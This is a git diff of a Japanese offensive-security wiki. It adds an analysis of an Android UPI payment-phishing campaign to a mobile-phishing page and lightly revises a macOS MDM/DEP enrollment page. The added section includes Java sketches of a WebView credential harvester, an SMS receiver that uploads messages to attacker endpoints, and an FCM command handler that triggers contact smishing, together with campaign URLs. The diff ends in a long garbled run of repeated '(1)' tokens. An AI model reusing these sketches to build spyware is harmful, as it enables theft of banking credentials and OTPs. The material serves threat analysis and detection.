diff --git a/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md b/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md index 86d793ca7..8f15aeca3 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md @@ -11,7 +11,7 @@ 1. **SEO/フィッシングインフラ** * 類似ドメイン(出会い系、クラウド共有、車サービスなど)を多数登録します。 – Googleでランク付けするために、``要素に現地の言語のキーワードと絵文字を使用します。 -– Android(`.apk`)とiOSのインストール手順の両方を同じランディングページにホストします。 +– Android(`.apk`)とiOSのインストール手順の*両方*を同じランディングページにホストします。 2. **第一段階のダウンロード** * Android: *署名されていない*または「サードパーティストア」のAPKへの直接リンク。 * iOS: 悪意のある**mobileconfig**プロファイルへの`itms-services://`または通常のHTTPSリンク(下記参照)。 @@ -28,24 +28,24 @@ <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <!-- 古いビルドではSMS権限も要求されていました --> ``` -* 最近のバリアントは**`AndroidManifest.xml`からSMSのための`<uses-permission>`を削除**しますが、リフレクションを通じてSMSを読み取るJava/Kotlinコードパスは残します ⇒ 権限を`AppOps`の悪用や古いターゲットを通じて付与するデバイスでは機能し続けるため、静的スコアが低下します。 +* 最近のバリアントは**`AndroidManifest.xml`からSMSのための`<uses-permission>`を削除**しますが、リフレクションを通じてSMSを読み取るJava/Kotlinコードパスは残します ⇒ 権限を`AppOps`の悪用や古いターゲットを介して付与するデバイスで機能しながら静的スコアを下げます。 5. **ファサードUIとバックグラウンド収集** * アプリは無害なビュー(SMSビューワー、ギャラリーピッカー)をローカルに実装して表示します。 * 同時に以下を外部流出させます: - IMEI / IMSI、電話番号 - 完全な`ContactsContract`ダンプ(JSON配列) -- `/sdcard/DCIM`から圧縮されたJPEG/PNG(サイズを減らすために[Luban](https://github.com/Curzibn/Luban)を使用) +- サイズを減らすために[Luban](https://github.com/Curzibn/Luban)で圧縮された`/sdcard/DCIM`からのJPEG/PNG - オプションのSMS内容(`content://sms`) ペイロードは**バッチ圧縮**され、`HTTP POST /upload.php`経由で送信されます。 6. **iOS配信技術** -* 単一の**モバイル構成プロファイル**は、`PayloadType=com.apple.sharedlicenses`、`com.apple.managedConfiguration`などを要求して、デバイスを「MDM」のような監視に登録できます。 +* 単一の**モバイル構成プロファイル**は、デバイスを「MDM」のような監視に登録するために`PayloadType=com.apple.sharedlicenses`、`com.apple.managedConfiguration`などを要求できます。 * ソーシャルエンジニアリングの指示: 1. 設定を開く ➜ *プロファイルがダウンロードされました*。 -2. *インストール*を3回タップします(フィッシングページのスクリーンショット)。 +2. *インストール*を3回タップ(フィッシングページのスクリーンショット)。 3. 署名されていないプロファイルを信頼する ➜ 攻撃者は*連絡先*と*写真*の権限をApp Storeのレビューなしで取得します。 7. **ネットワーク層** * 通常のHTTP、しばしばポート80で、`api.<phishingdomain>.com`のようなHOSTヘッダーを使用します。 -* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)`(TLSなし → 簡単に見つけられます)。 +* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)`(TLSなし → 簡単に見つけられる)。 ## 防御テスト / レッドチームのヒント @@ -59,7 +59,7 @@ * **証明書の透明性 / DNS分析**で、キーワードが豊富なドメインの突然のバーストをキャッチします。 * **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php`をGoogle Play外のDalvikクライアントから取得します。 * **招待コードのテレメトリ** – APKインストール後すぐに6〜8桁の数値コードのPOSTは、ステージングを示す可能性があります。 -* **MobileConfig署名** – MDMポリシーを通じて署名されていない構成プロファイルをブロックします。 +* **MobileConfig署名** – MDMポリシーを介して署名されていない構成プロファイルをブロックします。 ## 有用なFridaスニペット: 招待コードの自動バイパス ```python @@ -86,9 +86,127 @@ return conn; /upload.php # batched ZIP exfiltration LubanCompress 1.1.8 # "Luban" string inside classes.dex ``` +--- + +## Android WebView Payment Phishing (UPI) – ドロッパー + FCM C2 パターン + +このパターンは、インドのUPI資格情報とOTPを盗むために政府の利益テーマを悪用するキャンペーンで観察されています。オペレーターは、配信と耐障害性のために信頼できるプラットフォームを連鎖させます。 + +### 信頼できるプラットフォーム間の配信チェーン +- YouTube動画の誘引 → 説明に短縮リンクが含まれている +- 短縮リンク → 正規ポータルを模倣したGitHub Pagesフィッシングサイト +- 同じGitHubリポジトリが、ファイルに直接リンクする偽の「Google Play」バッジを持つAPKをホスト +- 動的フィッシングページはReplit上に存在し、リモートコマンドチャネルはFirebase Cloud Messaging (FCM)を使用 + +### 埋め込まれたペイロードとオフラインインストールを持つドロッパー +- 最初のAPKはインストーラー(ドロッパー)で、`assets/app.apk`に本物のマルウェアを搭載し、ユーザーにクラウド検出を鈍らせるためにWi-Fi/モバイルデータを無効にするよう促す。 +- 埋め込まれたペイロードは無害なラベル(例:「セキュアアップデート」)の下にインストールされる。インストール後、インストーラーとペイロードは別々のアプリとして存在する。 + +静的トリアージのヒント(埋め込まれたペイロードをgrepする): +```bash +unzip -l sample.apk | grep -i "assets/app.apk" +# Or: +zipgrep -i "classes|.apk" sample.apk | head +``` +### ダイナミックエンドポイント発見 via shortlink +- マルウェアはshortlinkからプレーンテキストのカンマ区切りのライブエンドポイントリストを取得します。シンプルな文字列変換により、最終的なフィッシングページのパスが生成されます。 + +Example (sanitised): +``` +GET https://rebrand.ly/dclinkto2 +Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php +Transform: "gate.html" → "gate.htm" (loaded in WebView) +UPI credential POST: https://sqcepo.replit.app/addup.php +SMS upload: https://sqcepo.replit.app/addsm.php +``` +擬似コード: +```java +String csv = httpGet(shortlink); +String[] parts = csv.split(","); +String upiPage = parts[0].replace("gate.html", "gate.htm"); +String smsPost = parts[1]; +String credsPost = upiPage.replace("gate.htm", "addup.php"); +``` +### WebViewベースのUPI認証情報収集 +- 「₹1 / UPI‑Liteの支払いを行う」ステップは、WebView内の動的エンドポイントから攻撃者のHTMLフォームを読み込み、敏感なフィールド(電話、銀行、UPI PIN)をキャプチャし、それらを`addup.php`に`POST`します。 + +最小ローダー: +```java +WebView wv = findViewById(R.id.web); +wv.getSettings().setJavaScriptEnabled(true); +wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm +``` +### 自己伝播とSMS/OTPインターセプション +- 初回実行時に攻撃的な権限が要求される: +```xml +<uses-permission android:name="android.permission.READ_CONTACTS"/> +<uses-permission android:name="android.permission.SEND_SMS"/> +<uses-permission android:name="android.permission.READ_SMS"/> +<uses-permission android:name="android.permission.CALL_PHONE"/> +``` +- 連絡先は、被害者のデバイスからスミッシングSMSを一斉送信するためにループされます。 +- 受信したSMSはブロードキャストレシーバーによって傍受され、メタデータ(送信者、本文、SIMスロット、デバイスごとのランダムID)と共に`/addsm.php`にアップロードされます。 + +Receiver sketch: +```java +public void onReceive(Context c, Intent i){ +SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i); +for (SmsMessage m: msgs){ +postForm(urlAddSms, new FormBody.Builder() +.add("senderNum", m.getOriginatingAddress()) +.add("Message", m.getMessageBody()) +.add("Slot", String.valueOf(getSimSlot(i))) +.add("Device rand", getOrMakeDeviceRand(c)) +.build()); +} +} +``` +### Firebase Cloud Messaging (FCM) を堅牢な C2 として使用 +- ペイロードは FCM に登録され、プッシュメッセージはアクションをトリガーするために使用される `_type` フィールドを持っています(例:フィッシングテキストテンプレートの更新、動作の切り替え)。 + +例 FCM ペイロード: +```json +{ +"to": "<device_fcm_token>", +"data": { +"_type": "update_texts", +"template": "New subsidy message..." +} +} +``` +ハンドラースケッチ: +```java +@Override +public void onMessageReceived(RemoteMessage msg){ +String t = msg.getData().get("_type"); +switch (t){ +case "update_texts": applyTemplate(msg.getData().get("template")); break; +case "smish": sendSmishToContacts(); break; +// ... more remote actions +} +} +``` +### ハンティングパターンとIOC +- APKは`assets/app.apk`に二次ペイロードを含む +- WebViewは`gate.htm`から支払いを読み込み、`/addup.php`に外部送信する +- SMSは`/addsm.php`に外部送信する +- 短縮リンク駆動の設定取得(例:`rebrand.ly/*`)がCSVエンドポイントを返す +- 一般的な「更新/セキュア更新」としてラベル付けされたアプリ +- 信頼できないアプリでの`_type`識別子を持つFCM `data`メッセージ + +### 検出と防御のアイデア +- インストール中にユーザーにネットワークを無効にするよう指示し、`assets/`から二次APKをサイドロードするアプリをフラグ付けする +- 権限タプル:`READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebViewベースの支払いフローにアラートを出す +- 非企業ホストでの`POST /addup.php|/addsm.php`の出口監視;既知のインフラをブロックする +- モバイルEDRルール:FCMに登録し、`_type`フィールドで分岐する信頼できないアプリ + +--- + ## 参考文献 -- [ロマンスの暗い側面: SarangTrap恐喝キャンペーン](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign) -- [Luban – Android画像圧縮ライブラリ](https://github.com/Curzibn/Luban) +- [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign) +- [Luban – Android image compression library](https://github.com/Curzibn/Luban) +- [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/) +- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md index 2b66ee844..377a39deb 100644 --- a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md +++ b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md @@ -15,51 +15,51 @@ - デバイスに対する集中管理。 - MDMプロトコルに準拠したMDMサーバーへの依存。 -- MDMサーバーがデバイスに対してさまざまなコマンドを送信できる能力、例えば、リモートデータ消去や設定のインストールなど。 +- MDMサーバーがデバイスにさまざまなコマンドを送信できる能力、例えば、リモートデータ消去や設定のインストールなど。 ### **DEP (デバイス登録プログラム) の基本** -Appleが提供する[デバイス登録プログラム](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) は、iOS、macOS、tvOSデバイスのモバイルデバイス管理(MDM)を簡素化し、ゼロタッチ構成を可能にします。DEPは登録プロセスを自動化し、デバイスが箱から出してすぐに動作可能となるようにし、最小限のユーザーまたは管理者の介入で済みます。重要な側面は以下の通りです: +Appleが提供する[デバイス登録プログラム](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) は、iOS、macOS、tvOSデバイスのモバイルデバイス管理(MDM)の統合を簡素化し、ゼロタッチ構成を可能にします。DEPは登録プロセスを自動化し、デバイスが箱から出してすぐに動作可能になり、最小限のユーザーまたは管理者の介入で済むようにします。重要な側面は以下の通りです: - デバイスが初回起動時に事前定義されたMDMサーバーに自動的に登録されることを可能にします。 - 主に新しいデバイスに有益ですが、再構成中のデバイスにも適用可能です。 - 簡単なセットアップを促進し、デバイスを迅速に組織で使用できるようにします。 -### **セキュリティの考慮事項** +### **セキュリティ考慮事項** -DEPによって提供される登録の容易さは有益ですが、セキュリティリスクも伴います。MDM登録に対する保護措置が適切に施されていない場合、攻撃者はこの簡素化されたプロセスを利用して、自身のデバイスを組織のMDMサーバーに登録し、企業デバイスを装う可能性があります。 +DEPによって提供される登録の容易さは有益ですが、セキュリティリスクも伴うことに注意が必要です。MDM登録に対する保護措置が適切に施されていない場合、攻撃者はこの簡素化されたプロセスを利用して、自分のデバイスを組織のMDMサーバーに登録し、企業デバイスを装う可能性があります。 > [!CAUTION] > **セキュリティ警告**: 簡素化されたDEP登録は、適切な保護策が講じられていない場合、組織のMDMサーバーに対する不正なデバイス登録を許可する可能性があります。 ### SCEP (シンプル証明書登録プロトコル) とは? -- TLSやHTTPSが広まる前に作成された比較的古いプロトコルです。 +- TLSやHTTPSが広まる前に作成された比較的古いプロトコル。 - クライアントが証明書を取得するための**証明書署名要求** (CSR) を送信するための標準化された方法を提供します。クライアントはサーバーに署名された証明書を要求します。 ### 構成プロファイル (モバイル構成ファイル) とは? -- Appleの公式な**システム構成の設定/強制方法**です。 -- 複数のペイロードを含むことができるファイル形式です。 +- Appleによる**システム構成の設定/強制**の公式な方法。 +- 複数のペイロードを含むことができるファイル形式。 - プロパティリスト(XML形式)に基づいています。 -- 「その出所を検証し、整合性を確保し、内容を保護するために署名および暗号化できます。」 基本 — ページ70, iOSセキュリティガイド, 2018年1月。 +- 「その出所を検証し、整合性を確保し、内容を保護するために署名および暗号化できます。」基本 — ページ70, iOSセキュリティガイド, 2018年1月。 ## プロトコル ### MDM -- APNs (**Appleサーバー**) + RESTful API (**MDMベンダー**サーバー) の組み合わせ -- **通信**は**デバイス**と**デバイス管理製品**に関連するサーバーの間で行われます +- APNs (**Appleサーバー**) + RESTful API (**MDM** **ベンダー**サーバー) の組み合わせ +- **通信**は**デバイス**と**デバイス管理**製品に関連するサーバーの間で行われます - **コマンド**はMDMからデバイスに**plistエンコードされた辞書**で配信されます -- すべて**HTTPS**経由です。MDMサーバーは(通常)ピン留めされます。 +- すべて**HTTPS**経由。MDMサーバーは(通常)ピン留めされます。 - AppleはMDMベンダーに**APNs証明書**を認証用に付与します ### DEP -- **3つのAPI**: 1つはリセラー用、1つはMDMベンダー用、1つはデバイスID用(未文書化): +- **3つのAPI**: 1つはリセラー用、1つはMDMベンダー用、1つはデバイスID用(未文書): - いわゆる[DEP "クラウドサービス" API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf)。これはMDMサーバーが特定のデバイスにDEPプロファイルを関連付けるために使用されます。 - [Apple認定リセラーが使用するDEP API](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html)は、デバイスを登録し、登録状況を確認し、取引状況を確認します。 -- 未文書化のプライベートDEP API。これはAppleデバイスが自分のDEPプロファイルを要求するために使用されます。macOSでは、`cloudconfigurationd`バイナリがこのAPIを介して通信する責任があります。 +- 未文書のプライベートDEP API。これはAppleデバイスが自分のDEPプロファイルを要求するために使用されます。macOSでは、`cloudconfigurationd`バイナリがこのAPIを介して通信する責任があります。 - より現代的で**JSON**ベース(plistに対して) - AppleはMDMベンダーに**OAuthトークン**を付与します @@ -67,15 +67,15 @@ DEPによって提供される登録の容易さは有益ですが、セキュ - RESTful - AppleからMDMサーバーへのデバイスレコードの同期 -- MDMサーバーからAppleへの「DEPプロファイル」の同期(後でデバイスに配信される) -- DEP「プロファイル」には以下が含まれます: +- MDMサーバーからAppleへの“DEPプロファイル”の同期(後でデバイスに配信される) +- DEP “プロファイル”には以下が含まれます: - MDMベンダーサーバーのURL - サーバーURL用の追加の信頼された証明書(オプションのピン留め) - 追加の設定(例:セットアップアシスタントでスキップする画面) ## シリアル番号 -2010年以降に製造されたAppleデバイスは一般的に**12文字の英数字**のシリアル番号を持ち、**最初の3桁は製造場所**を表し、次の**2桁**は**製造年**と**週**を示し、次の**3桁**は**ユニークな識別子**を提供し、**最後の4桁**は**モデル番号**を表します。 +2010年以降に製造されたAppleデバイスは一般的に**12文字の英数字**のシリアル番号を持ち、**最初の3桁は製造場所**を表し、次の**2桁**は**製造年**と**週**を示し、次の**3桁**は**ユニーク**な**識別子**を提供し、**最後の4桁**は**モデル番号**を表します。 {{#ref}} macos-serial-number.md @@ -93,7 +93,7 @@ macos-serial-number.md ![](<../../../images/image (694).png>) -ファイル `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` は、登録プロセスの**高レベルの「ステップ」**と見なされる関数をエクスポートします。 +ファイル`/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd`は、登録プロセスの**高レベルの「ステップ」**と見なされる関数をエクスポートします。 ### ステップ4: DEPチェックイン - アクティベーションレコードの取得 @@ -101,13 +101,13 @@ macos-serial-number.md ![](<../../../images/image (1044).png>) -または `sudo profiles show -type enrollment` を実行したときに。 +または`sudo profiles show -type enrollment`を実行したとき。 - **デバイスがDEP対応かどうかを判断** -- アクティベーションレコードは**DEP「プロファイル」**の内部名です +- アクティベーションレコードは**DEP “プロファイル”**の内部名です - デバイスがインターネットに接続されるとすぐに始まります - **`CPFetchActivationRecord`**によって駆動されます -- **`cloudconfigurationd`**によってXPC経由で実装されます。デバイスが初めて起動されたときの**「セットアップアシスタント」**または**`profiles`**コマンドがこのデーモンに連絡してアクティベーションレコードを取得します。 +- **`cloudconfigurationd`**によってXPC経由で実装されます。デバイスが初めて起動されたときの**"セットアップアシスタント"**または**`profiles`**コマンドがこのデーモンに連絡してアクティベーションレコードを取得します。 - LaunchDaemon(常にrootとして実行) アクティベーションレコードを取得するために**`MCTeslaConfigurationFetcher`**によって実行されるいくつかのステップに従います。このプロセスは**Absinthe**という暗号化を使用します。 @@ -120,7 +120,7 @@ macos-serial-number.md 1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session) 4. セッションを確立(**`NACKeyEstablishment`**) 5. リクエストを行う -1. POST [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) にデータ `{ "action": "RequestProfileConfiguration", "sn": "" }` を送信 +1. POST [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile)にデータ`{ "action": "RequestProfileConfiguration", "sn": "" }`を送信 2. JSONペイロードはAbsintheで暗号化されます(**`NACSign`**) 3. すべてのリクエストはHTTPs経由で行われ、組み込みのルート証明書が使用されます @@ -128,7 +128,7 @@ macos-serial-number.md レスポンスは、以下のような重要なデータを含むJSON辞書です: -- **url**: アクティベーションプロファイルのMDMベンダーホストのURL +- **url**: アクティベーションプロファイルのためのMDMベンダーホストのURL - **anchor-certs**: 信頼されたアンカーとして使用されるDER証明書の配列 ### **ステップ5: プロファイルの取得** @@ -137,11 +137,67 @@ macos-serial-number.md - **DEPプロファイル**で提供された**url**にリクエストが送信されます。 - 提供された場合、**アンカー証明書**が**信頼性を評価**するために使用されます。 -- リマインダー: DEPプロファイルの**anchor_certs**プロパティ +- リマインダー: **DEPプロファイルのanchor_certsプロパティ** - **リクエストはデバイス識別を含むシンプルな.plist**です - 例: **UDID、OSバージョン**。 - CMS署名、DERエンコード -- **デバイスID証明書(APNSからの)**を使用して署名されています。 -- **証明書チェーン**には期限切れの**Apple iPhone Device CA**が含まれています。 +- **デバイスID証明書(APNSからの)**を使用して署名されます。 +- **証明書チェーン**には期限切れの**Apple iPhone Device CA**が含まれます。 -![](<../../../images/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) 